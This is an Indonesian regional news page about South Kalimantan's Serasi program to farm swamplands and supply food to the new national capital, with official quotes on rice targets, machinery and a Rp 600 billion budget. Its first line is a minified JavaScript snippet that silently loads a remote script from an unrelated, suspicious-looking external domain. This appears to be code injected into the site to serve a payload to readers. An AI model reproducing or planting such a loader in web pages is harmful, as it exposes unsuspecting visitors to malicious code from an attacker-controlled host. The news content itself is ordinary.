(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pertanian

Program Serasi di Kalsel Siap Dukung Pangan Ibu Kota Baru


BANJARMASIN, Kalimantan Selatan (Kalsel) siap menjadi penyangga pangan ibu kota negara yang baru.  Mulai 2019, Kaltim mengatur manajemen pertanian dan  ikut dalam Program Serasi (Selamatkan Rawa, Sejahterakan Petani).

Kepala Dinas Tanaman Pangan dan Hortikultura Kalsel, Syamsir Rahman merasa optimistis dengan bergulirnya Program Serasi yang dimulai pada Masa Tanam Musim Hujan (Oktober 2019 – Maret 2020), di areal seluas 250 ribu hektare, untuk bisa meningkatkan produksi padi dari 2,15 juta ton menjadi 4 juta ton pada 2020.

“Sasaran tersebut akan bisa dicapai, karena sarana dan prasarana pendukung tahun 2019 bisa selesai, khususnya pembuatan saluran buatan persediaan air di musim kemarau,” kata Syamsir, Kalsel, Kamis (17/10/2019).

Selain itu, ungkap Syamsir, lahan tidur yang sebelumnya kurang maksimal dimanfaatkan sudah mulai dibuka dengan program Luas Tambah Tanam (LTT). Program tersebut menjadi pendongkrak percepatan tanam di lahan yang tidak memungkinkan, sehingga bisa diberdayakan dalam waktu singkat.

“Sebagai daerah penyangga pangan ibu kota baru, Kalsel juga memproduksi pangan organik seluas 30 ribu hektare sampai 2020, dan akan terus ditambah luasannya,” tuturnya.

Untuk mempercepat pengolahan lahan agar bisa selesai pada tahap awal, Syamsir mengatakan, pihaknya telah mengerahkan alat dan mesin pertanian (alsintan). Ia juga mengusulkan lagi tambahan 50 unit ekskavator dan 284 unit traktor roda empat kepada Kementerian Pertanian (Kementan) RI.

“Alat berat yang masih kurang perlu ditambah agar tanam pada Oktober – Maret dapat terealisasi,” katanya.

Untuk kelancaran operasional di lapangan, Dinas TPH juga melatih calon operator, seperti operator combine harvester (mesin pemanen) secara bertahap. Tahap pertama untuk pemula, telah melatih 80 calon operator dari Kabupaten Tapin dan Hulu Sungai Tengah selama 3 hari.

Syamsir mengakui, di beberapa daerah, Program Serasi ada keterlambatan karena kekurangan alat berat seperti ekskavator. Namun petani bersama penyuluh dan perangkat lain yang terlibat seperti TNI, terus bergerak berpacu dengan waktu, mengingat pengolahan lahan harus tuntas Oktober 2019.

Dalam Program Serasi di Kalsel, kawasan rawa yang potensial dapat ditanami dua kali setahun dengan dua jenis varietas, yakni unggul dan lokal. Indeks Pertanaman (IP) diharapkan naik dari 100 ke 200, bahkan IP 300 termasuk untuk budi daya hortikultura.

Beberapa kawasan lahan rawa yang potensial, antara lain Kabupaten Tapin, Hulu Sungai Selatan (HSS), Hulu Sungai Tengah(HST), Hulu Sungai Utara (HSU), Balangan dan Tabalong.

“Lahan rawa lebak paling luas berada di Kabupaten Tapin, HSS dan HSU yang mencapai ratusan ribu hektare, sehingga akan terus diberdayakan dengan dua pola, yakni modernisasi teknologi mekanik dan pola kearifan lokal,” tutur Syamsir.

Direktur Jenderal Prasarana dan Sarana Pertanian (PSP) Kementan, Sarwo Edhy mengatakan, Kementan mengucurkan anggaran Rp 600 miliar untuk Program Serasi di Kalsel. Dengan program ini, lahan rawa yang selama ini nganggur diolah dan dieffektifkan menjadi lahan pertanian.

“Anggaran yang dikucurkan sendiri sesuai dengan luasan lahan yang dikelola. Di mana setiap hektarenya dianggarkan Rp 4,3 juta,” katanya.

Ia menambahkan, Kalsel memiliki lahan rawa hampir 80 persen dan merupakan potensi besar. Namun untuk mengoptimalkan potensi tersebut tidak mudah.

Bukan hanya tanahnya yang memerlukan waktu untuk proses perbaikan, sumber daya manusia (SDM) juga menjadi kendala.

“Contohnya, lahan yang sebelumnya sudah dibuka untuk budi daya padi, ternyata tidak ada penduduknya, sehingga pemerintah kesulitan mencari yang akan bertanam,” ungkapnya.

Karena itu kemudian, pemerintah memberikan contoh cara mengelola lahan rawa dan memfasilitasinya hingga berjalan di Jejangkit. Bahkan kini akses di lokasi Jejangkit sudah jauh lebih baik dan desanya pun terbangun.

“Awalnya, akses jalanannya tidak bisa dilalui mobil karena hanya jalan kecil, lalu dengan adanya optimalisasi lahan rawa tersebut akhirnya dibuat jalan untuk mobilisasi alat-alat berat. Jalannya sudah diaspal, listrik juga, pompa besar. Kini, lokasi ini juga ada integrasi ternak ayam, itik, ikan, juga komoditas pertanian lainnya seperti sayuran,” pungkasnya. (Suara.com)

Reporter : suara.com
Editor : kk

 


Desy Arfianty

Recent Posts

Niat Tawuran Bawa Celurit, Dua Remaja di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More

7 jam ago

#Save Demokrasi Banjarbaru: Hak Pilih Warga Dibungkam

KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More

7 jam ago

Kirim Surat Suara ke Tiga Wilayah Ujung Banjarmasin Gunakan Klotok

KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More

9 jam ago

Pengrajin Anyaman Purun Desa Pulantani Terima Bantuan CSR

KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More

11 jam ago

Logistik Pemilihan di Banjarmasin Didistribusikan, Disebar ke 965 TPS

KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More

14 jam ago

KPU Banjarbaru Mengubur Demokrasi, Meniadakan Pilkada Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More

16 jam ago

This website uses cookies.